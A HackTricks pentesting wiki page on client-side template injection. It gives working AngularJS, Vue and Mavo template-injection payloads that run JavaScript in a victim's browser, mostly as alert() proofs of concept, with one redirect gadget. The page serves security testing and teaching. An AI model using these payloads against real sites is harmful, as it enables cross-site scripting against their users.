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117 lines
6.5 KiB
Markdown
117 lines
6.5 KiB
Markdown
# Client Side Template Injection (CSTI)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Summary
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It is like a [**Server Side Template Injection**](ssti-server-side-template-injection/) but in the **client**. The **SSTI** can allow you to **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim's browser.
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**Testing** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter expects **a template** and will execute it. For example, with a payload like `{{ 7-7 }}`, if the app is **vulnerable** you will see a `0`, and if not, you will see the original: `{{ 7-7 }}`
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## AngularJS
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AngularJS is a widely-used JavaScript framework that interacts with HTML through attributes known as directives, a notable one being **`ng-app`**. This directive allows AngularJS to process the HTML content, enabling the execution of JavaScript expressions inside double curly braces.
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In scenarios where user input is dynamically inserted into the HTML body tagged with `ng-app`, it's possible to execute arbitrary JavaScript code. This can be achieved by leveraging the syntax of AngularJS within the input. Below are examples demonstrating how JavaScript code can be executed:
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```javascript
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{{$on.constructor('alert(1)')()}}
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{{constructor.constructor('alert(1)')()}}
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<input ng-focus=$event.view.alert('XSS')>
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<!-- Google Research - AngularJS -->
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<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
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```
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You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
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{% hint style="danger" %}
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[**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `<input ng-focus=$event.view.alert('XSS')>` should work.
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{% endhint %}
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## VueJS
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You can find a **vulnerable Vue** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
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Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
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And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
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```markup
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<!-- Google Research - Vue.js-->
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"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
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```
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A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V3**
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```
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{{_openBlock.constructor('alert(1)')()}}
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```
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Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V2**
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```
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{{constructor.constructor('alert(1)')()}}
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```
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Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
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**Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
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## Mavo
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Payload:
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```
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[7*7]
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[(1,alert)(1)]
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<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
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[self.alert(1)]
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javascript:alert(1)%252f%252f..%252fcss-images
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[Omglol mod 1 mod self.alert (1) andlol]
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[''=''or self.alert(lol)]
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<a data-mv-if='1 or self.alert(1)'>test</a>
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<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
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<a href=[javascript&':alert(1)']>test</a>
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[self.alert(1)mod1]
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```
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**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
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## **Brute-Force Detection List**
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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